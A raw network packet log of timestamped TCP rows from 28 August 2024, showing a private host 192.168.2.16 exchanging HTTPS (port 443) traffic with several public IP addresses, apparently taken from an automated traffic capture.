Aug 28, 2024 22:21:10.664742947 CEST	443	49770	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:10.665478945 CEST	443	49770	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:10.665538073 CEST	49770	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:10.665631056 CEST	49770	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:10.665646076 CEST	443	49770	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:10.783329964 CEST	443	49771	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:10.783349037 CEST	443	49771	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:10.783396006 CEST	49771	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:10.783411980 CEST	443	49771	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:10.784712076 CEST	443	49771	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:10.784770966 CEST	49771	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:10.786590099 CEST	49771	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:10.786602020 CEST	443	49771	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:10.883557081 CEST	443	49772	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:10.927201986 CEST	49772	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:10.982033968 CEST	443	49772	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:10.982168913 CEST	443	49772	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:10.982208967 CEST	49772	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:10.982541084 CEST	49772	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:11.000709057 CEST	49772	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:11.000720978 CEST	443	49772	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:11.025713921 CEST	443	49774	104.47.64.28	192.168.2.16
Aug 28, 2024 22:21:11.025908947 CEST	443	49774	104.47.64.28	192.168.2.16
Aug 28, 2024 22:21:11.026011944 CEST	49774	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:21:11.026362896 CEST	49774	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:21:11.026375055 CEST	443	49774	104.47.64.28	192.168.2.16
Aug 28, 2024 22:21:11.028374910 CEST	49777	443	192.168.2.16	209.208.100.119
Aug 28, 2024 22:21:11.028389931 CEST	443	49777	209.208.100.119	192.168.2.16
Aug 28, 2024 22:21:11.028537035 CEST	49777	443	192.168.2.16	209.208.100.119
Aug 28, 2024 22:21:11.029280901 CEST	49777	443	192.168.2.16	209.208.100.119
Aug 28, 2024 22:21:11.029294014 CEST	443	49777	209.208.100.119	192.168.2.16
Aug 28, 2024 22:21:11.292989016 CEST	443	49775	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:11.305013895 CEST	443	49775	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:11.305179119 CEST	49775	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:11.305545092 CEST	49775	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:11.305557966 CEST	443	49775	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:11.526724100 CEST	443	49776	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:11.526752949 CEST	443	49776	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:11.526829004 CEST	443	49776	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:11.526869059 CEST	49776	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:11.526896000 CEST	443	49776	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:11.526921034 CEST	49776	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:11.582103014 CEST	49776	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:11.583436012 CEST	443	49777	209.208.100.119	192.168.2.16
Aug 28, 2024 22:21:11.583704948 CEST	49777	443	192.168.2.16	209.208.100.119
Aug 28, 2024 22:21:11.583719969 CEST	443	49777	209.208.100.119	192.168.2.16
Aug 28, 2024 22:21:11.584088087 CEST	443	49777	209.208.100.119	192.168.2.16
Aug 28, 2024 22:21:11.586690903 CEST	49777	443	192.168.2.16	209.208.100.119
Aug 28, 2024 22:21:11.586787939 CEST	443	49777	209.208.100.119	192.168.2.16
Aug 28, 2024 22:21:11.586818933 CEST	49777	443	192.168.2.16	209.208.100.119
Aug 28, 2024 22:21:11.630126953 CEST	49777	443	192.168.2.16	209.208.100.119
Aug 28, 2024 22:21:11.630134106 CEST	443	49777	209.208.100.119	192.168.2.16
Aug 28, 2024 22:21:11.633353949 CEST	443	49776	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:11.633367062 CEST	443	49776	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:11.633407116 CEST	443	49776	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:11.633445024 CEST	443	49776	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:11.633445978 CEST	49776	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:11.633457899 CEST	443	49776	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:11.633508921 CEST	443	49776	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:11.633517981 CEST	49776	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:11.633517981 CEST	49776	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:11.633536100 CEST	443	49776	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:11.633560896 CEST	49776	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:11.633600950 CEST	443	49776	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:11.633626938 CEST	49776	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:11.638400078 CEST	49776	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:11.649715900 CEST	49776	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:11.649725914 CEST	443	49776	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:11.765490055 CEST	443	49777	209.208.100.119	192.168.2.16
Aug 28, 2024 22:21:11.765574932 CEST	443	49777	209.208.100.119	192.168.2.16
Aug 28, 2024 22:21:11.766397953 CEST	49777	443	192.168.2.16	209.208.100.119
Aug 28, 2024 22:21:11.766408920 CEST	443	49777	209.208.100.119	192.168.2.16
Aug 28, 2024 22:21:11.766436100 CEST	49777	443	192.168.2.16	209.208.100.119
Aug 28, 2024 22:21:11.770402908 CEST	49777	443	192.168.2.16	209.208.100.119
Aug 28, 2024 22:21:11.774400949 CEST	49780	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:21:11.774430037 CEST	443	49780	167.86.102.97	192.168.2.16
Aug 28, 2024 22:21:11.776797056 CEST	49780	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:21:11.776797056 CEST	49780	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:21:11.776820898 CEST	443	49780	167.86.102.97	192.168.2.16
Aug 28, 2024 22:21:12.505502939 CEST	443	49780	167.86.102.97	192.168.2.16
Aug 28, 2024 22:21:12.505817890 CEST	49780	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:21:12.505844116 CEST	443	49780	167.86.102.97	192.168.2.16
Aug 28, 2024 22:21:12.506181955 CEST	443	49780	167.86.102.97	192.168.2.16
Aug 28, 2024 22:21:12.506606102 CEST	49780	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:21:12.506700993 CEST	443	49780	167.86.102.97	192.168.2.16
Aug 28, 2024 22:21:12.506736994 CEST	49780	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:21:12.551501036 CEST	49780	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:21:12.551510096 CEST	443	49780	167.86.102.97	192.168.2.16
Aug 28, 2024 22:21:12.904294968 CEST	443	49780	167.86.102.97	192.168.2.16
Aug 28, 2024 22:21:12.904403925 CEST	443	49780	167.86.102.97	192.168.2.16
Aug 28, 2024 22:21:12.904541969 CEST	49780	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:21:12.908107042 CEST	49780	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:21:12.908126116 CEST	443	49780	167.86.102.97	192.168.2.16
Aug 28, 2024 22:21:12.954338074 CEST	49781	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:21:12.954344034 CEST	49731	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:21:12.954363108 CEST	443	49781	183.90.238.45	192.168.2.16
Aug 28, 2024 22:21:12.954546928 CEST	49781	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:21:12.954713106 CEST	49781	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:21:12.954726934 CEST	443	49781	183.90.238.45	192.168.2.16
Aug 28, 2024 22:21:13.000510931 CEST	443	49731	183.90.238.45	192.168.2.16
Aug 28, 2024 22:21:14.023401022 CEST	49782	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:14.023432970 CEST	443	49782	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:14.023514986 CEST	49782	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:14.023741961 CEST	49782	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:14.023757935 CEST	443	49782	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:14.713737011 CEST	443	49782	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:14.714011908 CEST	49782	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:14.714029074 CEST	443	49782	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:14.714509964 CEST	443	49782	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:14.714799881 CEST	49782	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:14.714920044 CEST	443	49782	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:14.714984894 CEST	49782	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:14.760512114 CEST	443	49782	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:15.136914968 CEST	443	49781	183.90.238.45	192.168.2.16
Aug 28, 2024 22:21:15.137183905 CEST	49781	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:21:15.137206078 CEST	443	49781	183.90.238.45	192.168.2.16
Aug 28, 2024 22:21:15.137569904 CEST	443	49781	183.90.238.45	192.168.2.16
Aug 28, 2024 22:21:15.137866974 CEST	49781	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:21:15.137933016 CEST	443	49781	183.90.238.45	192.168.2.16
Aug 28, 2024 22:21:15.184098959 CEST	49781	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:21:15.260833979 CEST	443	49731	183.90.238.45	192.168.2.16
Aug 28, 2024 22:21:15.260931969 CEST	443	49731	183.90.238.45	192.168.2.16
Aug 28, 2024 22:21:15.260984898 CEST	49731	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:21:15.261868954 CEST	49731	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:21:15.261889935 CEST	443	49731	183.90.238.45	192.168.2.16
Aug 28, 2024 22:21:15.302305937 CEST	49783	443	192.168.2.16	142.250.186.174
Aug 28, 2024 22:21:15.302367926 CEST	443	49783	142.250.186.174	192.168.2.16
Aug 28, 2024 22:21:15.302500963 CEST	49783	443	192.168.2.16	142.250.186.174
Aug 28, 2024 22:21:15.302917957 CEST	49783	443	192.168.2.16	142.250.186.174
Aug 28, 2024 22:21:15.302932978 CEST	443	49783	142.250.186.174	192.168.2.16
Aug 28, 2024 22:21:15.303296089 CEST	49784	443	192.168.2.16	142.250.186.174
Aug 28, 2024 22:21:15.303311110 CEST	443	49784	142.250.186.174	192.168.2.16
Aug 28, 2024 22:21:15.303359032 CEST	49784	443	192.168.2.16	142.250.186.174
Aug 28, 2024 22:21:15.303641081 CEST	49784	443	192.168.2.16	142.250.186.174
Aug 28, 2024 22:21:15.303648949 CEST	443	49784	142.250.186.174	192.168.2.16
Aug 28, 2024 22:21:15.313618898 CEST	49785	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:15.313651085 CEST	443	49785	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:15.313747883 CEST	49785	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:15.313988924 CEST	49785	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:15.314002037 CEST	443	49785	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:15.314455986 CEST	49786	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:15.314462900 CEST	443	49786	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:15.314518929 CEST	49786	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:15.314759970 CEST	49786	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:15.314770937 CEST	443	49786	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:15.315190077 CEST	49787	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:15.315222025 CEST	443	49787	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:15.315480947 CEST	49787	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:15.315871000 CEST	49787	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:15.315885067 CEST	443	49787	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:15.939039946 CEST	443	49783	142.250.186.174	192.168.2.16
Aug 28, 2024 22:21:15.939335108 CEST	49783	443	192.168.2.16	142.250.186.174
Aug 28, 2024 22:21:15.939347982 CEST	443	49783	142.250.186.174	192.168.2.16
Aug 28, 2024 22:21:15.939795971 CEST	443	49783	142.250.186.174	192.168.2.16
Aug 28, 2024 22:21:15.939862013 CEST	49783	443	192.168.2.16	142.250.186.174
Aug 28, 2024 22:21:15.940552950 CEST	443	49783	142.250.186.174	192.168.2.16
Aug 28, 2024 22:21:15.940720081 CEST	49783	443	192.168.2.16	142.250.186.174
Aug 28, 2024 22:21:15.941750050 CEST	49783	443	192.168.2.16	142.250.186.174
Aug 28, 2024 22:21:15.941816092 CEST	443	49783	142.250.186.174	192.168.2.16
Aug 28, 2024 22:21:15.957432985 CEST	443	49784	142.250.186.174	192.168.2.16
Aug 28, 2024 22:21:15.957647085 CEST	49784	443	192.168.2.16	142.250.186.174
Aug 28, 2024 22:21:15.957655907 CEST	443	49784	142.250.186.174	192.168.2.16
Aug 28, 2024 22:21:15.958030939 CEST	443	49784	142.250.186.174	192.168.2.16
Aug 28, 2024 22:21:15.958173990 CEST	49784	443	192.168.2.16	142.250.186.174
Aug 28, 2024 22:21:15.958718061 CEST	443	49784	142.250.186.174	192.168.2.16
Aug 28, 2024 22:21:15.958856106 CEST	49784	443	192.168.2.16	142.250.186.174
Aug 28, 2024 22:21:15.958929062 CEST	49784	443	192.168.2.16	142.250.186.174
Aug 28, 2024 22:21:15.958983898 CEST	443	49784	142.250.186.174	192.168.2.16
Aug 28, 2024 22:21:15.984782934 CEST	443	49787	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:15.985088110 CEST	49787	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:15.985106945 CEST	443	49787	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:15.985429049 CEST	443	49787	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:15.985799074 CEST	49787	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:15.985872030 CEST	443	49787	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:15.997111082 CEST	49783	443	192.168.2.16	142.250.186.174
Aug 28, 2024 22:21:15.997122049 CEST	443	49783	142.250.186.174	192.168.2.16
Aug 28, 2024 22:21:15.998153925 CEST	443	49786	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:15.999015093 CEST	49786	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:15.999032021 CEST	443	49786	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:15.999345064 CEST	443	49786	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:15.999748945 CEST	49786	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:15.999748945 CEST	49786	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:15.999762058 CEST	443	49786	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:15.999805927 CEST	443	49786	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:16.012093067 CEST	49784	443	192.168.2.16	142.250.186.174
Aug 28, 2024 22:21:16.012100935 CEST	443	49784	142.250.186.174	192.168.2.16
Aug 28, 2024 22:21:16.028357983 CEST	49787	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:16.044115067 CEST	49786	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:16.044131994 CEST	49783	443	192.168.2.16	142.250.186.174
Aug 28, 2024 22:21:16.046149969 CEST	443	49785	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:16.046411991 CEST	49785	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:16.046425104 CEST	443	49785	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:16.046737909 CEST	443	49785	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:16.048741102 CEST	49785	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:16.048801899 CEST	443	49785	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:16.060256004 CEST	49784	443	192.168.2.16	142.250.186.174
Aug 28, 2024 22:21:16.092093945 CEST	49785	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:16.195230007 CEST	443	49782	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:16.195308924 CEST	443	49782	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:16.195591927 CEST	49782	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:16.195604086 CEST	443	49782	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:16.195631027 CEST	49782	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:16.195710897 CEST	49782	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.090770960 CEST	443	49786	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.090795994 CEST	443	49786	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.090802908 CEST	443	49786	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.090845108 CEST	443	49786	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.090874910 CEST	49786	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.090887070 CEST	443	49786	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.090893984 CEST	443	49786	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.090931892 CEST	49786	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.107291937 CEST	49788	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.107314110 CEST	443	49788	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.107412100 CEST	49788	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.107743979 CEST	443	49786	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.107762098 CEST	443	49786	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.107831001 CEST	49786	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.107836962 CEST	443	49786	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.107990026 CEST	49788	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.108001947 CEST	443	49788	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.158138037 CEST	49786	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.213485003 CEST	443	49786	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.213502884 CEST	443	49786	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.213572979 CEST	49786	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.213581085 CEST	443	49786	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.213632107 CEST	49786	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.215002060 CEST	443	49786	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.215018034 CEST	443	49786	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.215090990 CEST	49786	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.215095043 CEST	443	49786	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.215107918 CEST	443	49786	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.215154886 CEST	49786	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.215347052 CEST	49786	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.215357065 CEST	443	49786	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.231327057 CEST	49789	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.231350899 CEST	443	49789	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.231635094 CEST	49789	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.231859922 CEST	49789	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.231873035 CEST	443	49789	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.279301882 CEST	49790	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.279315948 CEST	443	49790	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.279509068 CEST	49790	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.279750109 CEST	49790	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.279762983 CEST	443	49790	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.790219069 CEST	443	49788	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.790587902 CEST	49788	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.790621996 CEST	443	49788	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.790972948 CEST	443	49788	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.791277885 CEST	49788	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.791374922 CEST	443	49788	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.845223904 CEST	49788	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.918406010 CEST	443	49789	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.918827057 CEST	49789	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.918848038 CEST	443	49789	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.919162035 CEST	443	49789	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.921389103 CEST	49789	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.921447992 CEST	443	49789	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.921478987 CEST	49789	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.964499950 CEST	443	49789	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.971123934 CEST	49789	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.998498917 CEST	443	49790	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.998800039 CEST	49790	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:19.998809099 CEST	443	49790	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:19.999136925 CEST	443	49790	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:20.000772953 CEST	49790	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:20.000844002 CEST	443	49790	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:20.000960112 CEST	49790	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:20.048510075 CEST	443	49790	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:21.380328894 CEST	443	49790	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:21.383966923 CEST	443	49790	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:21.384058952 CEST	49790	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:21.384500027 CEST	49790	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:21.384517908 CEST	443	49790	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:21.407365084 CEST	443	49789	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:21.407561064 CEST	49789	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:21.407576084 CEST	443	49789	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:21.407629967 CEST	49789	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:22.206311941 CEST	49791	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:22.206360102 CEST	443	49791	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:22.206497908 CEST	49791	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:22.206737041 CEST	49791	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:22.206749916 CEST	443	49791	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:22.864305973 CEST	443	49791	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:22.864533901 CEST	49791	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:22.864551067 CEST	443	49791	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:22.865525007 CEST	443	49791	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:22.865595102 CEST	49791	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:22.865863085 CEST	49791	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:22.865917921 CEST	443	49791	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:22.866018057 CEST	49791	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:22.866024971 CEST	443	49791	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:22.909127951 CEST	49791	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:24.354541063 CEST	443	49791	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:24.354608059 CEST	443	49791	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:24.354665995 CEST	49791	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:24.354794979 CEST	49791	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:24.354810953 CEST	443	49791	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:24.377425909 CEST	49792	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:24.377461910 CEST	443	49792	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:24.377536058 CEST	49792	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:24.377777100 CEST	49792	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:24.377789021 CEST	443	49792	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:25.060281038 CEST	443	49792	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:25.060555935 CEST	49792	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:25.060585976 CEST	443	49792	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:25.060878038 CEST	443	49792	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:25.061170101 CEST	49792	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:25.061227083 CEST	443	49792	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:25.061351061 CEST	49792	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:25.104502916 CEST	443	49792	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:25.851903915 CEST	49793	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:25.851943016 CEST	443	49793	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:25.852014065 CEST	49787	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:25.852018118 CEST	49793	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:25.852294922 CEST	49793	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:25.852307081 CEST	443	49793	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:25.852816105 CEST	49785	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:25.854434013 CEST	49785	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:25.854446888 CEST	443	49785	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:25.896501064 CEST	443	49787	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:26.348057985 CEST	443	49792	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:26.348314047 CEST	49792	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:26.348352909 CEST	443	49792	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:26.348413944 CEST	49792	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:26.553575039 CEST	443	49793	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:26.553962946 CEST	49793	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:26.553997993 CEST	443	49793	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:26.554325104 CEST	443	49793	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:26.554627895 CEST	49793	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:26.554698944 CEST	443	49793	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:26.554769993 CEST	49793	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:26.596514940 CEST	443	49793	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:26.930425882 CEST	443	49787	185.225.69.39	192.168.2.16
